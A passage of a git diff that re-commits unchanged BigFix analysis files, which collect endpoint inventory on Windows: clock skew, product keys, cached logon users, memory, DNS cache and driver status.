+    <Relevance>true</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 14 May 2014 18:39:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="~Clock_Skew" EvaluationPeriod="PT30M">(absolute value of (apparent registration server time - now))</Property>
+    <Property ID="2" Name="Skew &lt; 4 min" EvaluationPeriod="PT30M">(absolute value of (apparent registration server time - now)) &lt; (4 * minute)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Configuration_ Microsoft Product Keys - Windows (2994759).bes b/Sites/Windows Management/Fixlets/Analyses/Configuration_ Microsoft Product Keys - Windows (2994759).bes
index d56ff007e..577de6aa3 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Configuration_ Microsoft Product Keys - Windows (2994759).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Configuration_ Microsoft Product Keys - Windows (2994759).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Configuration: Microsoft Product Keys - Windows
-  ID       : 2994759
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-01-09T13:45:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Configuration: Microsoft Product Keys - Windows</Title>
-    <Description>This analysis requires this task to be run to have results:  http://bigfix.me/fixlet/details/3941
-</Description>
-    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance>exists file &quot;config_prodkey.xml&quot; of folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 09 Jan 2015 20:32:15 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Products" EvaluationPeriod="P1D">node values of xpaths &quot;/product_key_list/item/product_name/text()&quot; of xml documents of file &quot;config_prodkey.xml&quot; of folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client</Property>
-    <Property ID="2" Name="Product -- Serial" EvaluationPeriod="P1D">(node value of xpath &quot;product_name/text()&quot; of it &amp; &quot; -- &quot; &amp; node value of xpath &quot;product_key/text()&quot; of it) of xpaths &quot;/product_key_list/item&quot; whose( &quot;Internet Explorer&quot; != node value of xpath &quot;product_name/text()&quot; of it ) of xml documents of file &quot;config_prodkey.xml&quot; of folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Configuration: Microsoft Product Keys - Windows
+  ID       : 2994759
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-01-09T13:45:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Configuration: Microsoft Product Keys - Windows</Title>
+    <Description>This analysis requires this task to be run to have results:  http://bigfix.me/fixlet/details/3941
+</Description>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance>exists file &quot;config_prodkey.xml&quot; of folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Jan 2015 20:32:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Products" EvaluationPeriod="P1D">node values of xpaths &quot;/product_key_list/item/product_name/text()&quot; of xml documents of file &quot;config_prodkey.xml&quot; of folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client</Property>
+    <Property ID="2" Name="Product -- Serial" EvaluationPeriod="P1D">(node value of xpath &quot;product_name/text()&quot; of it &amp; &quot; -- &quot; &amp; node value of xpath &quot;product_key/text()&quot; of it) of xpaths &quot;/product_key_list/item&quot; whose( &quot;Internet Explorer&quot; != node value of xpath &quot;product_name/text()&quot; of it ) of xml documents of file &quot;config_prodkey.xml&quot; of folder &quot;Logs&quot; of folder &quot;__Global&quot; of folder &quot;__BESData&quot; of parent folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Credentials - Cached Login Creds - Windows (2998301).bes b/Sites/Windows Management/Fixlets/Analyses/Credentials - Cached Login Creds - Windows (2998301).bes
index ddcf04c58..ca0ba25a2 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Credentials - Cached Login Creds - Windows (2998301).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Credentials - Cached Login Creds - Windows (2998301).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Credentials - Cached Login Creds - Windows
-  ID       : 2998301
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T18:03:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Credentials - Cached Login Creds - Windows</Title>
-    <Description><![CDATA[<P>This analysis grabs information on the current cached logon credentials on a Windows system.</P>
-<P>This analysis scraps information put in place by <STRONG>Fixlet: Invoke - Windows Cached Credentials Probe - Windows</STRONG></P>
-<P>Information provided by this fixlet is useful in determining which user accounts need password resets if a machine is compromised.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials">https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials</A></P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists file &quot;CachedUsers.txt&quot; of folder &quot;WinCreds&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Credentials - Cached Logon Credentials - Windows" EvaluationPeriod="P1D">(concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of (following text of first &quot;%ff%fe&quot; of it | it)) of lines whose (it !=&quot;%00&quot;) of file &quot;CachedUsers.txt&quot; of folder &quot;WinCreds&quot; of folder &quot;__Global&quot; of folder &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Credentials - Cached Login Creds - Windows
+  ID       : 2998301
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:03:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Credentials - Cached Login Creds - Windows</Title>
+    <Description><![CDATA[<P>This analysis grabs information on the current cached logon credentials on a Windows system.</P>
+<P>This analysis scraps information put in place by <STRONG>Fixlet: Invoke - Windows Cached Credentials Probe - Windows</STRONG></P>
+<P>Information provided by this fixlet is useful in determining which user accounts need password resets if a machine is compromised.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials">https://github.com/strawgate/C3-Protect/wiki/Windows-Credentials</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;CachedUsers.txt&quot; of folder &quot;WinCreds&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Credentials - Cached Logon Credentials - Windows" EvaluationPeriod="P1D">(concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of (following text of first &quot;%ff%fe&quot; of it | it)) of lines whose (it !=&quot;%00&quot;) of file &quot;CachedUsers.txt&quot; of folder &quot;WinCreds&quot; of folder &quot;__Global&quot; of folder &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2995862).bes b/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2995862).bes
index ce15e9502..4d14384bd 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2995862).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2995862).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Current Memory Configuration
-  ID       : 2995862
-  Author   : Tutankh
-  Domain   : BESC
-  Imported : 2016-03-14T07:36:18
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Current Memory Configuration</Title>
-    <Description>Returns the current configuration of Physical Memory installed. </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmi</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 14 Mar 2016 14:31:57 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Memory Configuration" EvaluationPeriod="P1D">((((string value of it as integer)/(1024*1024)) as string) &amp; &quot; MB&quot;) of (selects &quot;Capacity from Win32_PhysicalMemory where MemoryType!=&apos;11&apos;&quot; of wmi)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Current Memory Configuration
+  ID       : 2995862
+  Author   : Tutankh
+  Domain   : BESC
+  Imported : 2016-03-14T07:36:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Current Memory Configuration</Title>
+    <Description>Returns the current configuration of Physical Memory installed. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 14 Mar 2016 14:31:57 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Memory Configuration" EvaluationPeriod="P1D">((((string value of it as integer)/(1024*1024)) as string) &amp; &quot; MB&quot;) of (selects &quot;Capacity from Win32_PhysicalMemory where MemoryType!=&apos;11&apos;&quot; of wmi)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2998506).bes b/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2998506).bes
index 3bda08755..5ba390f9e 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2998506).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Current Memory Configuration (2998506).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Current Memory Configuration
-  ID       : 2998506
-  Author   : Tutankh
-  Domain   : BESC
-  Imported : 2016-12-22T12:59:36
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Current Memory Configuration</Title>
-    <Description>Returns the current configuration of Physical Memory installed. </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmi</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 25 Mar 2016 18:14:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Memory Configuration" EvaluationPeriod="P1D">((((string value of it as integer)/(1024*1024)) as string) &amp; &quot; MB&quot;) of (selects &quot;Capacity from Win32_PhysicalMemory where MemoryType!=&apos;11&apos;&quot; of wmi)</Property>
-    <Property ID="3" Name="Memory Configuration | Speed" EvaluationPeriod="P1D">((((string value of Property &quot;Capacity&quot; of it as integer)/(1024*1024*1024)) as string) &amp; &quot; GB | &quot; &amp; (string value of property &quot;Speed&quot; of it)&amp; &quot; MHz&quot;) of select objects &quot;* from Win32_PhysicalMemory where MemoryType!=&apos;11&apos;&quot; of wmi</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Current Memory Configuration
+  ID       : 2998506
+  Author   : Tutankh
+  Domain   : BESC
+  Imported : 2016-12-22T12:59:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Current Memory Configuration</Title>
+    <Description>Returns the current configuration of Physical Memory installed. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 25 Mar 2016 18:14:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Memory Configuration" EvaluationPeriod="P1D">((((string value of it as integer)/(1024*1024)) as string) &amp; &quot; MB&quot;) of (selects &quot;Capacity from Win32_PhysicalMemory where MemoryType!=&apos;11&apos;&quot; of wmi)</Property>
+    <Property ID="3" Name="Memory Configuration | Speed" EvaluationPeriod="P1D">((((string value of Property &quot;Capacity&quot; of it as integer)/(1024*1024*1024)) as string) &amp; &quot; GB | &quot; &amp; (string value of property &quot;Speed&quot; of it)&amp; &quot; MHz&quot;) of select objects &quot;* from Win32_PhysicalMemory where MemoryType!=&apos;11&apos;&quot; of wmi</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/DNS Cache - Windows (2995861).bes b/Sites/Windows Management/Fixlets/Analyses/DNS Cache - Windows (2995861).bes
index 8fb151ef2..deeee282c 100644
--- a/Sites/Windows Management/Fixlets/Analyses/DNS Cache - Windows (2995861).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/DNS Cache - Windows (2995861).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : DNS Cache - Windows
-  ID       : 2995861
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-03-12T14:25:45
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>DNS Cache - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists files &quot;results_dns_cache.txt&quot; of folders &quot;__Global\Logs&quot; of data folders of client</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 12 Mar 2016 21:24:46 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="recent DNS Cache Contents" EvaluationPeriod="PT6H">unique values of (following text of last &quot;: &quot; of it &amp; &quot; ;; &quot; &amp; following text of last &quot;: &quot; of unique value of previous lines of previous lines of previous lines of previous lines of previous lines of it) of lines whose(it contains &quot;A (Host) Record&quot; OR it contains &quot; ;; &quot;) of files &quot;results_dns_cache.txt&quot; of folders &quot;__Global\Logs&quot; of data folders of client</Property>
-    <Property ID="2" Name="DNS Cache History" EvaluationPeriod="PT12H">unique values of (it as trimmed string) of lines whose(it contains &quot; ;; &quot;) of files &quot;results_dns_cache_history.txt&quot; of folders &quot;__Global\Logs&quot; of data folders of client</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : DNS Cache - Windows
+  ID       : 2995861
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-03-12T14:25:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>DNS Cache - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists files &quot;results_dns_cache.txt&quot; of folders &quot;__Global\Logs&quot; of data folders of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 Mar 2016 21:24:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="recent DNS Cache Contents" EvaluationPeriod="PT6H">unique values of (following text of last &quot;: &quot; of it &amp; &quot; ;; &quot; &amp; following text of last &quot;: &quot; of unique value of previous lines of previous lines of previous lines of previous lines of previous lines of it) of lines whose(it contains &quot;A (Host) Record&quot; OR it contains &quot; ;; &quot;) of files &quot;results_dns_cache.txt&quot; of folders &quot;__Global\Logs&quot; of data folders of client</Property>
+    <Property ID="2" Name="DNS Cache History" EvaluationPeriod="PT12H">unique values of (it as trimmed string) of lines whose(it contains &quot; ;; &quot;) of files &quot;results_dns_cache_history.txt&quot; of folders &quot;__Global\Logs&quot; of data folders of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/DeviceQuery Results - Windows (2994799).bes b/Sites/Windows Management/Fixlets/Analyses/DeviceQuery Results - Windows (2994799).bes
index a49a3f934..92e184a9f 100644
--- a/Sites/Windows Management/Fixlets/Analyses/DeviceQuery Results - Windows (2994799).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/DeviceQuery Results - Windows (2994799).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : DeviceQuery Results - Windows
-  ID       : 2994799
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-12T13:57:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>DeviceQuery Results - Windows</Title>
-    <Description><![CDATA[<P>&nbsp;</P>
-<P><A href="http://bigfix.me/fixlet/details/6060">http://bigfix.me/fixlet/details/6060</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>exists files whose(name of it as lowercase starts with &quot;info_driverquery_&quot; AND name of it as lowercase ends with &quot;.csv&quot;) of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 12 May 2015 20:57:15 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Signed non-standard drivers" EvaluationPeriod="PT12H">unique values of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_signed.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
-    <Property ID="2" Name="devices of (Signed non-standard drivers)" EvaluationPeriod="PT12H">unique values of ((if item 0 of it contains item 1 of it then item 0 of it else item 2 of it) of (tuple string item 0 of it, tuple string item 3 of it, tuple string item 3 of it &amp;&quot; &quot;&amp; tuple string item 0 of it) of concatenations &quot;&quot; of substrings separated by &quot;%22&quot; of concatenations &quot;, &quot; of substrings separated by &quot;,&quot; of it) of (it as trimmed string) of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_signed.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
-    <Property ID="3" Name="Unsigned drivers with errors" EvaluationPeriod="PT12H">unique values of (it whose(tuple string item 6 of it != &quot;OK&quot; AND tuple string item 6 of it != &quot;Status&quot;) of concatenations &quot;&quot; of substrings separated by &quot;%22&quot; of concatenations &quot;%22, %22&quot; of (if it does not contain &quot;,&quot; then it else ( concatenations &quot;&quot; of substrings separated by &quot;,&quot; of it )) of (it as trimmed string) of substrings separated by &quot;%22,%22&quot; of it) of (it as trimmed string) of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_verbose.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
-    <Property ID="4" Name="names of unsigned drivers" EvaluationPeriod="PT12H">unique values of ( (tuple string item 1 of it; tuple string item 2 of it) of  concatenations &quot;&quot; of substrings separated by &quot;%22&quot; of concatenations &quot;%22, %22&quot; of (if it does not contain &quot;,&quot; then it else ( concatenations &quot;&quot; of substrings separated by &quot;,&quot; of it )) of (it as trimmed string) of substrings separated by &quot;%22,%22&quot; of it) of (it as trimmed string) of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_verbose.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : DeviceQuery Results - Windows
+  ID       : 2994799
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-12T13:57:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>DeviceQuery Results - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P><A href="http://bigfix.me/fixlet/details/6060">http://bigfix.me/fixlet/details/6060</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists files whose(name of it as lowercase starts with &quot;info_driverquery_&quot; AND name of it as lowercase ends with &quot;.csv&quot;) of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 20:57:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Signed non-standard drivers" EvaluationPeriod="PT12H">unique values of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_signed.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
+    <Property ID="2" Name="devices of (Signed non-standard drivers)" EvaluationPeriod="PT12H">unique values of ((if item 0 of it contains item 1 of it then item 0 of it else item 2 of it) of (tuple string item 0 of it, tuple string item 3 of it, tuple string item 3 of it &amp;&quot; &quot;&amp; tuple string item 0 of it) of concatenations &quot;&quot; of substrings separated by &quot;%22&quot; of concatenations &quot;, &quot; of substrings separated by &quot;,&quot; of it) of (it as trimmed string) of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_signed.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
+    <Property ID="3" Name="Unsigned drivers with errors" EvaluationPeriod="PT12H">unique values of (it whose(tuple string item 6 of it != &quot;OK&quot; AND tuple string item 6 of it != &quot;Status&quot;) of concatenations &quot;&quot; of substrings separated by &quot;%22&quot; of concatenations &quot;%22, %22&quot; of (if it does not contain &quot;,&quot; then it else ( concatenations &quot;&quot; of substrings separated by &quot;,&quot; of it )) of (it as trimmed string) of substrings separated by &quot;%22,%22&quot; of it) of (it as trimmed string) of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_verbose.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
+    <Property ID="4" Name="names of unsigned drivers" EvaluationPeriod="PT12H">unique values of ( (tuple string item 1 of it; tuple string item 2 of it) of  concatenations &quot;&quot; of substrings separated by &quot;%22&quot; of concatenations &quot;%22, %22&quot; of (if it does not contain &quot;,&quot; then it else ( concatenations &quot;&quot; of substrings separated by &quot;,&quot; of it )) of (it as trimmed string) of substrings separated by &quot;%22,%22&quot; of it) of (it as trimmed string) of lines whose(exists (it as trimmed string) whose(it does not end with &quot;,%22Manufacturer%22&quot; AND it does not contain &quot;,%22Microsoft&quot; AND it does not contain &quot;,%22(Standard &quot; AND it does not end with &quot;,%22N/A%22&quot;)) of files &quot;info_driverquery_verbose.csv&quot; of folders &quot;Logs&quot; of folders &quot;__Global&quot; of ( (if (exists properties whose(it as string starts with &quot;data folder of &quot; AND it as string contains &quot;client&quot;)) then (data folder of client) else NULL)|(folder &quot;/var/opt/BESClient/__BESData&quot;)|(folder &quot;/Library/Application Support/BigFix/BES Agent/__BESData&quot;)|(folder &quot;__BESData&quot; of parent folder of client) )</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Devices (50).bes b/Sites/Windows Management/Fixlets/Analyses/Devices (50).bes
index 2df43a534..72056a3ef 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Devices (50).bes	
